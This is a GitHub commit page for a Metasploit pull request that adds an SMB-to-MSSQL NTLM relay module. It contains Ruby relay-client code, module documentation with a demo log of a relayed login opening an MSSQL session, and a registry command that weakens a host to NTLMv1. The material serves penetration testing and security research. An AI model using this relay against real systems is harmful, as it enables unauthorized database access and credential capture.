Skip to content

Commit 4a012dd

Browse files
authored
Merge pull request #20637 from zeroSteiner/feat/mod/smb-to-mssql
Add an SMB to MSSQL NTLM Relay module
2 parents d05f50c + 000d310 commit 4a012dd

File tree

26 files changed

+1189
-435
lines changed

26 files changed

+1189
-435
lines changed

documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,19 @@ msf auxiliary(scanner/mssql/mssql_hashdump) > options
99
1010
Module options (auxiliary/scanner/mssql/mssql_hashdump):
1111
12-
Name Current Setting Required Description
13-
---- --------------- -------- -----------
14-
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
12+
Name Current Setting Required Description
13+
---- --------------- -------- -----------
14+
CHOST no The local client address
15+
CPORT no The local client port
16+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5
17+
h
18+
19+
20+
Used when connecting via an existing SESSION:
21+
22+
Name Current Setting Required Description
23+
---- --------------- -------- -----------
24+
SESSION no The session to run this module on
1525
1626
1727
Used when making a new connection via RHOSTS:
@@ -24,13 +34,6 @@ Module options (auxiliary/scanner/mssql/mssql_hashdump):
2434
RPORT 1433 no The target port (TCP)
2535
THREADS 1 yes The number of concurrent threads (max one per host)
2636
USERNAME MSSQL no The username to authenticate as
27-
28-
29-
Used when connecting via an existing SESSION:
30-
31-
Name Current Setting Required Description
32-
---- --------------- -------- -----------
33-
SESSION no The session to run this module on
3437
```
3538

3639
## Scenarios

documentation/modules/auxiliary/scanner/mssql/mssql_login.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -223,7 +223,6 @@ Module options (auxiliary/scanner/mssql/mssql_login):
223223
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
224224
USER_AS_PASS false no Try the username as the password for all users
225225
USER_FILE no File containing usernames, one per line
226-
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
227226
VERBOSE true yes Whether to print output for all attempts
228227
229228

documentation/modules/auxiliary/server/relay/smb_to_ldap.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ flowchart LR
5252
```
5353

5454
The Domain Computer will need to be configured to use NTLMv1 by setting the
55-
following registry key to a value less or equal to 2:
55+
following registry key to a value less than or equal to 2:
5656

5757
```
5858
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
@@ -95,7 +95,7 @@ I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv
9595
### RELAY_TIMEOUT
9696

9797
Seconds that the relay socket will wait for a response after the client has
98-
initiated communication (default 25 sec.).
98+
initiated communication.
9999

100100
### SMBDomain
101101

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
## Vulnerable Application
2+
3+
This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack
4+
against an MSSQL server on the configured RHOSTS hosts.
5+
6+
If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that support
7+
MSSQL sessions, like `admin/mssql/mssql_enum`. The session can also be used to run arbitrary queries.
8+
9+
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
10+
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
11+
12+
## Verification Steps
13+
Example steps in this format (is also in the PR):
14+
15+
1. Install MSSQL Server on a Domain Joined host. Ensure that Windows Authentication mode is enabled.
16+
2. Start msfconsole, and use the module.
17+
3. Set `RHOSTS` to target the MSSQL server.
18+
4. On another host, use `net use` to trigger an authentication attempt to metasploit that can be relayed to the target.
19+
20+
## Options
21+
22+
### RHOSTS
23+
24+
Target address range or CIDR identifier to relay to.
25+
26+
### CAINPWFILE
27+
28+
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
29+
30+
### JOHNPWFILE
31+
32+
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
33+
will be stored in separate files.
34+
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
35+
36+
### RELAY_TIMEOUT
37+
38+
Seconds that the relay socket will wait for a response after the client has
39+
initiated communication.
40+
41+
## Scenarios
42+
Specific demo of using the module that might be useful in a real world scenario.
43+
44+
### MSSQL Server 2019
45+
46+
```
47+
[*] Auxiliary module running as background job 0.
48+
[*] SMB Server is running. Listening on 0.0.0.0:445
49+
[*] Server started.
50+
msf auxiliary(server/relay/smb_to_mssql) >
51+
[*] New request from 192.168.159.10
52+
[*] Received request for MSFLAB\smcintyre
53+
[*] Relaying to next target mssql://192.168.159.166:1433
54+
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target mssql://192.168.159.166:1433
55+
[+] Relay succeeded
56+
[*] MSSQL session 1 opened (192.168.159.128:35967 -> 192.168.159.166:1433) at 2025-10-21 09:33:19 -0400
57+
[*] Received request for MSFLAB\smcintyre
58+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
59+
[*] New request from 192.168.159.10
60+
[*] Received request for MSFLAB\smcintyre
61+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
62+
[*] Received request for MSFLAB\smcintyre
63+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
64+
65+
msf auxiliary(server/relay/smb_to_mssql) > sessions -i -1
66+
[*] Starting interaction with 1...
67+
68+
mssql @ 192.168.159.166:1433 (master) > query 'SELECT @@version'
69+
Response
70+
========
71+
72+
# NULL
73+
- ----
74+
0 Microsoft SQL Server 2019 (RTM-GDR) (KB5065223) - 15.0.2145.1 (X64)
75+
Aug 13 2025 11:31:46
76+
Copyright (C) 2019 Microsoft Corporation
77+
Standard Edition (64-bit) on Windows Server 2025 Standard 10.0 <X64> (Build 26100: ) (Hypervisor)
78+
79+
mssql @ 192.168.159.166:1433 (master) >
80+
```

lib/metasploit/framework/login_scanner/mssql.rb

Lines changed: 3 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -16,22 +16,19 @@ class MSSQL
1616
include Metasploit::Framework::LoginScanner::NTLM
1717

1818
DEFAULT_PORT = 1433
19-
DEFAULT_REALM = 'WORKSTATION'
19+
DEFAULT_REALM = nil
2020
# Lifted from lib/msf/core/exploit/mssql.rb
2121
LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ]
2222
# Lifted from lib/msf/core/exploit/mssql.rb
2323
LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase', 'mssql' ]
2424
PRIVATE_TYPES = [ :password, :ntlm_hash ]
25-
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
25+
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
2626

2727
# @!attribute auth
2828
# @return [Array<String>] Auth The Authentication mechanism to use
2929
# @see Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS
3030
attr_accessor :auth
3131

32-
validates :auth,
33-
inclusion: { in: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS }
34-
3532
validates :auth,
3633
inclusion: { in: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS }
3734

@@ -43,10 +40,6 @@ class MSSQL
4340
# @return [String] Auth The mssql hostname, required for Kerberos Authentication
4441
attr_accessor :hostname
4542

46-
# @!attribute windows_authentication
47-
# @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth.
48-
attr_accessor :windows_authentication
49-
5043
# @!attribute use_client_as_proof
5144
# @return [Boolean] If a login is successful and this attribute is true - an MSSQL::Client instance is used as proof
5245
attr_accessor :use_client_as_proof
@@ -59,9 +52,6 @@ class MSSQL
5952
# @return [Integer] The delay between sending packets
6053
attr_accessor :send_delay
6154

62-
validates :windows_authentication,
63-
inclusion: { in: [true, false] }
64-
6555
attr_accessor :tdsencryption
6656

6757
validates :tdsencryption,
@@ -93,7 +83,7 @@ def attempt_login(credential)
9383
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
9484
result_options[:proof] = e
9585
rescue => e
96-
elog(e)
86+
elog(e, error: e)
9787
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
9888
result_options[:proof] = e
9989
end
@@ -117,7 +107,6 @@ def set_sane_defaults
117107
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
118108
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
119109
self.auth = Msf::Exploit::Remote::AuthOption::AUTO if self.auth.nil?
120-
self.windows_authentication = false if self.windows_authentication.nil?
121110
self.tdsencryption = false if self.tdsencryption.nil?
122111
end
123112
end

lib/msf/core/auxiliary/auth_brute.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -729,7 +729,7 @@ def build_brute_message(host_ip,host_port,proto,msg)
729729
else
730730
complete_message = ''
731731
unless ip.blank? && port.blank?
732-
complete_message << "#{ip}:#{port}"
732+
complete_message << Rex::Socket.to_authority(ip, port).ljust(21)
733733
else
734734
complete_message << proto || 'Bruteforce'
735735
end

lib/msf/core/exploit/remote/mssql.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,15 +37,14 @@ def initialize(info = {})
3737
Opt::RPORT(1433),
3838
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
3939
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
40-
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]),
4140
# OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - TODO: support TDS Encryption
4241
], Msf::Exploit::Remote::MSSQL)
4342
register_advanced_options(
4443
[
4544
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
4645
File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
4746
]),
48-
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'], aliases: ['MssqlDomain']),
47+
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', ''], aliases: ['MssqlDomain']),
4948
*kerberos_storage_options(protocol: 'Mssql'),
5049
*kerberos_auth_options(protocol: 'Mssql', auth_methods: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS),
5150
], Msf::Exploit::Remote::MSSQL)

lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -232,6 +232,8 @@ def create_relay_client(target, timeout)
232232
client = Target::SMB::Client.create(self, target, logger, timeout)
233233
when :ldap
234234
client = Target::LDAP::Client.create(self, target, logger, timeout)
235+
when :mssql
236+
client = Target::MSSQL::Client.create(self, target, logger, timeout, framework_module: @listener)
235237
else
236238
raise RuntimeError, "unsupported protocol: #{target.protocol}"
237239
end
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL
2+
class Client < Rex::Proto::MSSQL::Client
3+
attr_reader :target
4+
5+
def initialize(framework_module, proxies = nil, provider: nil, target: nil, logger: nil, timeout: 30)
6+
@logger = logger
7+
@provider = provider
8+
@target = target
9+
@timeout = timeout
10+
super(framework_module, framework_module.framework, target.ip, target.port, proxies)
11+
end
12+
13+
def self.create(provider, target, logger, timeout, framework_module:)
14+
new(
15+
framework_module,
16+
provider: provider,
17+
target: target,
18+
logger: logger,
19+
timeout: timeout
20+
)
21+
end
22+
23+
24+
# @param [String] client_type1_msg
25+
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
26+
def relay_ntlmssp_type1(client_type1_msg)
27+
self.initial_connection_info[:prelogin_data] = mssql_prelogin
28+
29+
pkt_hdr = MsTdsHeader.new(
30+
packet_type: MsTdsType::TDS7_LOGIN,
31+
packet_id: 1
32+
)
33+
34+
pkt_body = MsTdsLogin7.new(
35+
option_flags_2: {
36+
f_int_security: 1
37+
},
38+
server_name: @target.ip
39+
)
40+
41+
pkt_body.sspi = client_type1_msg.bytes
42+
43+
pkt_hdr.packet_length += pkt_body.num_bytes
44+
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
45+
46+
resp = mssql_send_recv(pkt, @timeout, false)
47+
server_type2_message = resp[3..-1]
48+
49+
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
50+
message: Net::NTLM::Message.parse(server_type2_message),
51+
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
52+
)
53+
end
54+
55+
# @param [String] client_type3_msg
56+
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
57+
def relay_ntlmssp_type3(client_type3_msg)
58+
pkt_hdr = MsTdsHeader.new(
59+
type: MsTdsType::SSPI_MESSAGE,
60+
packet_id: 1
61+
)
62+
63+
pkt_hdr.packet_length += client_type3_msg.length
64+
pkt = pkt_hdr.to_binary_s + client_type3_msg
65+
66+
resp = mssql_send_recv(pkt)
67+
info = mssql_parse_reply(resp)
68+
if info[:login_ack]
69+
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
70+
else
71+
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
72+
end
73+
74+
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
75+
end
76+
77+
protected
78+
79+
attr_reader :logger
80+
end
81+
end
82+

lib/msf/core/optional_session/mssql.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,8 +26,8 @@ def initialize(info = {})
2626
register_options(
2727
[
2828
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
29-
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'MSSQL']),
30-
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']),
29+
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', '']),
30+
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
3131
Msf::Opt::RHOST(nil, false),
3232
Msf::Opt::RPORT(1433, false)
3333
]

0 commit comments

Comments
 (0)